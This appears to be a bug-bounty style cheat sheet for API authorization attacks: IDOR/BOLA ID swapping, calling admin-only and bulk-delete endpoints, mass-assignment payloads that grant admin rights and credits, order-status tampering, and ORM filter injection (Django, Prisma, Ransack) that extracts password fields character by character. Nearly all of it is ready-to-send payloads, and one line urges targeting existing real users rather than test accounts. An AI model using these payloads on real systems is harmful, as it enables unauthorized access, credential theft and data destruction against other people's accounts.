URL path:        GET /api/v1/users/1234/profile
URL query:       GET /orders?order_id=982
Request body:    {"userId": 1234, "action": "view"}
JSON fields:     {"resource": {"id": 5678, "type": "invoice"}}
Headers:         X-User-ID: 1234
                 X-Account-ID: 9999
Cookies:         user_id=1234; account=org_5678
GraphQL args:    query { user(id: "1234") { ... } }
Form fields:     <input name="documentId" value="5678">
WebSocket msgs:  {"event":"subscribe","channel_id":9999}

Step 1: Create two test accounts: UserA and UserB
Step 2: Perform all actions as UserA, capture all requests
        (profile edit, order view, password change, file access, etc.)
Step 3: Note every object ID created or accessed by UserA
Step 4: Authenticate as UserB
Step 5: Replay UserA's requests using UserB's session token
Step 6: If UserB can read/modify UserA's data → BOLA confirmed
 
Victim matters: for real bugs, target existing users, not test accounts.
Report evidence: show UserA owns the resource, UserB accessed it.

GET /api/account/1234/statement     ← you are user 5678

POST /api/admin/users/delete        ← normal user calling admin endpoint
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}

GET /api/v1/users/1/details → read admin user's auth token

GET    /api/v1/users/UserA_ID    ← might be blocked
POST   /api/v1/users/UserA_ID    ← different code path, might not check authz
PUT    /api/v1/users/UserA_ID    ← update another user's data
DELETE /api/v1/users/UserA_ID    ← delete another user's account
PATCH  /api/v1/users/UserA_ID    ← partial update (often missed in authz checks)

id[]=1234&id[]=5678          ← array — app may use first or last
id=5678&id=1234              ← duplicate — app may prefer first or last
{"id": "1234"}               ← string vs int: might hit different code path
{"id": [1234]}               ← array in JSON
{"userId": 1234, "id": 5678} ← two ID fields — which is used for authz?

{"userId": "1234"}   vs   {"userId": 1234}

# User management (admin-only in design):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role
 
# Bulk operations:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data
 
# Billing/payment admin:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all
 
# Internal reporting:
GET /api/v1/reports/all-users-activity

UserA has permission to read their own messages.
GET /api/messages/1234 → checks: "does user own message 1234?" ✓
 
But: messages have attachments.
GET /api/attachments/5678 → doesn't check: "does attachment belong to message owned by user?"

query {
  myProfile {
    followers {
      privateEmail    ← accessing private field of OTHER users via relationship
    }
  }
}

POST /api/v1/register
{
  "username": "attacker",
  "email": "a@evil.com",
  "password": "password",
  "role": "admin",          ← hidden field
  "isAdmin": true,          ← hidden field
  "verified": true,         ← skip email verification
  "creditBalance": 9999     ← give self credits
}

order.status: pending → confirmed → shipped → delivered

PUT /api/orders/1234 {"status": "delivered"}  ← from "pending"
PUT /api/orders/1234 {"status": "refunded"}   ← from "pending" (skip shipped)

PUT /api/orders/UserA_order_id {"status": "cancelled"}  ← as UserB

□ Create 2 accounts (UserA + UserB)
□ Map all API calls that contain object IDs (Burp History export filter)
□ Test all HTTP verbs on each endpoint
□ Test ID in all locations: path, body, header, query, cookie
□ Try sequential IDs (−1, +1 from your own)
□ Try UUIDs/GUIDs collected from your own account data
□ Test sub-resources (attachments, comments, transactions)
□ Test admin endpoints directly (BFLA)
□ Test POST/PUT body for extra fields (mass assignment)
□ Compare JSON response field count vs documented fields (hidden fields)
□ Test state/status field modification

1. Create two test accounts (A and B)
2. Perform all CRUD operations as A, capture all request IDs
3. Replay each request replacing A's IDs with B's IDs
4. Check: Can A read B's data? Modify? Delete?
5. Test with: numeric IDs, UUIDs, slugs, encoded values
6. Test across: URL path, query params, JSON body, headers

# Vulnerable: User.objects.filter(**request.data)
# Attacker sends: {"password__startswith": "a"}
# Django translates to: WHERE password LIKE 'a%'
# Character-by-character extraction:
POST /api/users/
{"username": "admin", "password__startswith": "a"}   → 200 (match)
{"username": "admin", "password__startswith": "b"}   → 404 (no match)
# Iterate through charset for each position
# Relational traversal:
{"author__user__password__startswith": "a"}
# Traverses: Author → User → password field
# On MySQL: ReDoS via regex
{"email__regex": "^(a+)+$"}  → CPU spike if match exists

// Vulnerable: prisma.user.findMany({ where: req.body })
// Attacker sends nested include/select:
{
  "include": {
    "posts": {
      "include": {
        "author": {
          "select": {"password": true}
        }
      }
    }
  }
}
// Leaks password field through relation traversal

# Ransack allows search predicates via query params:
GET /users?q[password_cont]=admin
# Searches: WHERE password LIKE '%admin%'
 
# Character extraction:
GET /users?q[password_start]=a   → count results
GET /users?q[password_start]=ab  → narrow down
# Tool: plormber (automated Ransack extraction)